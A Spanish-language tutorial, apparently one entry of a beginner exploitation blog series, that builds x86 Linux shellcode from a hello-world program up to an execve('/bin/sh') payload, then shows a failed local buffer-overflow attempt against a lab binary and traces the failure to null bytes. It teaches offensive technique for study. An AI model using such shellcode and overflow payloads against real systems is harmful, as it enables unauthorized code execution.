En las entradas de la serie Exploitation (a beginners intro ;)) hemos utilizado shellcodes como un chorro de bytes que copiábamos en nuestros exploits, pero ha llegado el momento de comprender qué son esos bytes y cómo podemos construir nuestras propias shellcodes. Una shellcode (también llamado exploit payload) normalmente sirve para lanzar una shell (de ahí su nombre), aunque en realidad podemos hacer cualquier cosa con ella. Para escribir buenas shellcodes es importante tener unos conocimientos bastante amplios de lenguaje ensamblador (ya que es el que se usa para escribir shellcodes), así como del sistema operativo para el que se están desarrollando. En esta primera introducción nos centraremos en Linux y en intel x86.
Saludos desde ASM
Como dijimos en las entradas de conocimientos previos, un ejecutable se divide en varias secciones, y aunque nosotros no lo veamos, cuando el compilador genera el código máquina, crea esas secciones de manera correcta. Por tanto, si nosotros queremos escribir un programa directamente en ensamblador, debemos conocerlas y respetarlas. Para ilustrar esto, mostraremos un pequeño código ASM que nos saluda y finaliza correctamente. No os preocupéis si no entendéis el uso de los registros, lo veremos justo después.
BITS 32 ; indicamos a NASM que el código es para plataformas de 32 bits section .data ; sección de datos inicializados, recordad los post de conocimientos previos saludo db "Hola a todos ^_^", 0x0a ; Un saludo y el fin de línea section .text ; sección de texto, recordad los post de conocimientos previos global _start ; declaramos y exportamos el punto de entrada del programa _start: ; comienza el programa ; ssize_t write(int fd, const void *buf, size_t num); ; invocamos write(1, saludo, 17) mov eax, 4 ; write es la syscall número 4 mov ebx, 1 ; stdout es el descriptor de fichero número 1 mov ecx, saludo ; ecx es el segundo parámetro, nuestro mensaje mov edx, 17 ; edx es el tercer parámetro, la longitud del mensaje (incluyendo el salto de línea) int 0x80 ; lanzamos un trap para que entre el sistema operativo ; void exit(int status); ; exit(0) mov eax, 1 ; exit es la syscall número 1 mov ebx, 0 ; ebx es el primer parámetro, salida correcta, un 0 int 0x80 ; llamamos al sistema operativo mediante un trap
Si os acordáis del tema secciones de los ejecutables, lo único destacable aquí es cómo se están realizando las llamadas al sistema. En Linux, se utiliza la interrupción software int 0x80 para solicitar al sistema operativo que realice una llamada al sistema. Los parámetros de la llamada se toman de los registros, que tienen un valor específico:
- eax: almacena el número de la llamada al sistema que queremos ejecutar
- ebx: primer argumento de la llamada
- ecx: segundo argumento de la llamada
- edx: tercer argumento de la llamada
El listado de las llamadas al sistema y su correspondiente número se puede obtener en /usr/include/asm/unistd_32.h (para 32 bits).
adrian@Andromeda-virt:~/exploiting$ head -n 20 /usr/include/asm/unistd_32.h #ifndef _ASM_X86_UNISTD_32_H #define _ASM_X86_UNISTD_32_H /* * This file contains the system call numbers. */ #define __NR_restart_syscall 0 #define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_open 5 #define __NR_close 6 #define __NR_waitpid 7 #define __NR_creat 8 #define __NR_link 9 #define __NR_unlink 10 #define __NR_execve 11 #define __NR_chdir 12
El programa que hemos mostrado funciona, pero tiene un problema para poder ser considerado una shellcode: no es autocontenido. Además, es necesario linkarlo y darle un formato ejecutable (ELF) como se muestra a continuación:
adrian@Andromeda-virt:~/exploiting$ nasm -f elf holamundo.S adrian@Andromeda-virt:~/exploiting$ ld holamundo.o -o hola adrian@Andromeda-virt:~/exploiting$ ./hola Hola a todos ^_^
Nuestra shellcode va a ser “inyectada” en un programa en ejecución, por lo que no podemos tomarnos la licencia de declarar las secciones típicas de un ejecutable, ya que el programa donde nos inyectaremos ya tiene sus secciones definidas. Esto quiere decir que nuestra shellcode debe estar preparada para tomar el control del programa en cualquier situación, independientemente del estado del procesador o de la memoria; nuestra shellcode tiene que ser código independiente de la posición.
Shell desde ASM
El siguiente fragmento de código es un “shellcode” que lanza una shell, creado sin preocuparnos de que funcione dentro de un exploit o no. Lo iremos modificando para adecuarlo al término exacto de shellcode.
BITS 32 section .data shell db "/bin/sh" section .text global _start _start: ; int execve(const char *filename, char *const argv[], char *const envp[]); mov eax, 11 ; execve es la syscall núm 11 mov edx, 0 ; el tercer argumento es NULL (envp) push edx ; colocamos NULL en la pila para terminar la cadena de filename y para ; terminar el array argv push shell ; colocamos la dirección de la cadena /bin/sh en la pila mov ebx, [esp] ; obtenemos la dirección de la cadena. ebx = 0x8049098 lea ecx, [esp] ; obtenemos la dirección del puntero a la cadena. ecx = 0xbffff508 int 0x80 ; invocamos al sistema operativo (software interrupt)
Al igual que en el ejemplo anterior, hemos definido las secciones del ejecutable, lo que permite probar el código, pero impide que tome el control de un programa que ya se encuentre en ejecución. Para los que no estén familiarizados con el uso de las funciones de la familia execve, resaltar que los argumentos deben ser de la siguiente forma:
- filename = puntero a cadena terminada en caracter nulo (“cadena”).
- argv = punteros a punteros a argumentos. El primer argumento es el nombre del programa a ejecutar. El último puntero debe ser NULL.
- envp = punteros a punteros a variables de entorno. El último debe ser también NULL.
Como habréis podido notar, la diferencia entre filename (ebx) y argv (ecx) es que el segundo tiene una indirección más, cosa que conseguimos en ensamblador mediante la instrucción lea (Load effective address). En este caso, la instrucción lea ecx, [esp] es equivalente a mov ecx, esp y ambas funcionan correctamente. El objetivo es colocar en ecx la dirección en la que se encuentra el puntero a la cadena, mientras que en ebx colocamos directamente la dirección de la cadena. Estas direcciones las hemos construído sobre la pila, consiguiendo que la misma tenga la siguiente pinta:
[ dir cadena | 0x00000000 ]
adrian@orion-virt:~/exploiting/shellcode$ nasm -f elf shellcode1.S adrian@orion-virt:~/exploiting/shellcode$ ld shellcode1.o adrian@orion-virt:~/exploiting/shellcode$ ./a.out $ id uid=1000(adrian) gid=1000(adrian) groups=4(adm),20(dialout),24(cdrom),46(plugdev),104(lpadmin), 115(admin),120(sambashare),1000(adrian) $ adrian@orion-virt:~/exploiting/shellcode$
Con esto y los comentarios del código debería quedar claro qué hace y por qué lo hace. Ahora que tenemos un programa en ensamblador que ejecuta una shell, el primer paso para convertirlo en una shellcode es hacer que pueda inyectarse en el buffer de la aplicación vulnerable y sea capaz de tomar el control de la misma. Para esto, y como ya hemos explicado, es necesario evitar la definición de secciones, así como hacer que el código sea position independent.
Hacia el shellcode
Vamos entonces a eliminar la definición de secciones, así como la definición de _start, y trataremos de ejecutar el programa de nuevo.
BITS 32 shell db "/bin/sh" ; int execve(const char *filename, char *const argv[], char *const envp[]); mov eax, 11 ; execve es la syscall núm 11 mov edx, 0 ; el tercer argumento es NULL (envp) push edx ; colocamos NULL en la pila para terminar la cadena de filename y para ; terminar el array argv push shell ; colocamos la cadena /bin/sh en la pila mov ebx, [esp] ; obtenemos la dirección de la cadena. ebx = 0x8049098 mov ecx, esp ; obtenemos la dirección del puntero a la cadena. ecx = 0xbffff508 int 0x80 ; invocamos al sistema operativo (software interrupt)
adrian@orion-virt:~/exploiting/shellcode$ nasm -f elf shellcode2.S adrian@orion-virt:~/exploiting/shellcode$ ld shellcode2.o ld: warning: cannot find entry symbol _start; defaulting to 0000000008048060 adrian@orion-virt:~/exploiting/shellcode$ ./a.out Segmentation fault adrian@orion-virt:~/exploiting/shellcode$ gdb -q ./a.out Reading symbols from /home/adrian/exploiting/shellcode/a.out...done. (gdb) run Starting program: /home/adrian/exploiting/shellcode/a.out Program received signal SIGSEGV, Segmentation fault. 0x08048061 in ?? () at shellcode2.S:3 3 shell db "/bin/sh"
El primer problema con el que nos encontramos es que se está tratando de interpretar la definición de la cadena “/bin/sh” como si fuera código ejecutable en lugar de datos. En principio podría valer con colocar la declaración de la variable al final de nuestro programa, tal que lo primero que haya sea código realmente ejecutable. Podéis comprobar por vosotros mismos como el programa sigue funcionando con este cambio. Digamos entonces que lo queremos usar para explotar un buffer overflow:
adrian@orion-virt:~/exploiting$ ./getenvaddr SHELLCODE ./sovf SHELLCODE will be at 0xbffff6e0 adrian@orion-virt:~/exploiting$ ./sovf $(perl -e 'print "\xe0\xf6\xff\xbf"x40') DEBUG: name_buffer localizado en 0xbffff354 e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf 54 f3 ff bf e0 f6 6a 0 . e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf e0 f6 ff bf 0 f4 ff bf a0 f4 ff bf 58 f8 12 0 50 f4 ff bf ff ff ff ff f4 bf 12 0 bf 82 4 8 1 0 0 0 50 f4 ff bf 26 d3 11 0 Bienvenido al sistema, ������������������� Segmentation fault (core dumped) adrian@orion-virt:~/exploiting$ gdb -q -c core Core was generated by `./sovf ���� Program terminated with signal 11, Segmentation fault. #0 0xbffff6e5 in ?? () (gdb) i r eip eip 0xbffff6e5 0xbffff6e5 (gdb) x/4wi 0xbffff6e0 0xbffff6e0: mov eax,0x6852ba0b 0xbffff6e5: pop ss 0xbffff6e6: mov ebx,DWORD PTR [esp] 0xbffff6e9: mov ecx,esp
El exploit ha fallado. A pesar de que hemos conseguido redirigir la ejecución del programa a la posición de memoria donde se encuentra nuestro shellcode (como demuestra la última instrucción ejecutada), cuando inspeccionamos lo que debería ser el código de nuestra shellcode nos encontramos con algo totalmente diferente. ¿Por qué? Porque nuestra shellcode está llena de NULL BYTES, y suelen pasar dos cosas. En primer lugar, que bash las ha eliminado de la shellcode al exportarla (nuestro caso). En segundo lugar, que aunque no hubiera sido así, si hubiéramos introducido la shellcode dentro del propio buffer, la función strcpy habría copiado hasta dar con el primer byte nulo (ya que lo consideraría final de cadena), y habría dejado de copiar, por lo que no se habría copiado correctamente la shellcode.
adrian@orion-virt:~/exploiting/shellcode$ ndisasm shellcode2 -u 00000000 B80B000000 mov eax,0xb 00000005 BA00000000 mov edx,0x0 0000000A 52 push edx 0000000B 6817000000 push dword 0x17 00000010 8B1C24 mov ebx,[esp] 00000013 89E1 mov ecx,esp 00000015 CD80 int 0x80 00000017 2F das 00000018 62696E bound ebp,[ecx+0x6e] 0000001B 2F das 0000001C 7368 jnc 0x86 adrian@orion-virt:~/exploiting/shellcode$ hexdump -C shellcode2 00000000 b8 0b 00 00 00 ba 00 00 00 00 52 68 17 00 00 00 |..........Rh....| 00000010 8b 1c 24 89 e1 cd 80 2f 62 69 6e 2f 73 68 |..$..../bin/sh| 0000001e
Aquí tenemos dos formas de ver los null bytes de nuestra shellcode, que son bastantes. Es imprescindible eliminar estos bytes nulos si queremos que funcione, así que tenemos que poner a trabajar nuestro conocimiento del lenguaje ASM del x86 para conseguir el mismo resultado con instrucciones que no produzcan nulos. Por ejemplo, el opcode de mov es un byte, y lo que le sigue (B80B000000 en la primera instrucción) es el inmediato en little endian, lo que sería 0x0000000B (11). Al ser 11 un valor demasiado bajo, se rellena con ceros para ocupar todo el registro, y esto nos produce un null byte. ¿Cómo eliminarlo? Os dejo pensando en ello hasta la siguiente entrega 😉
Responder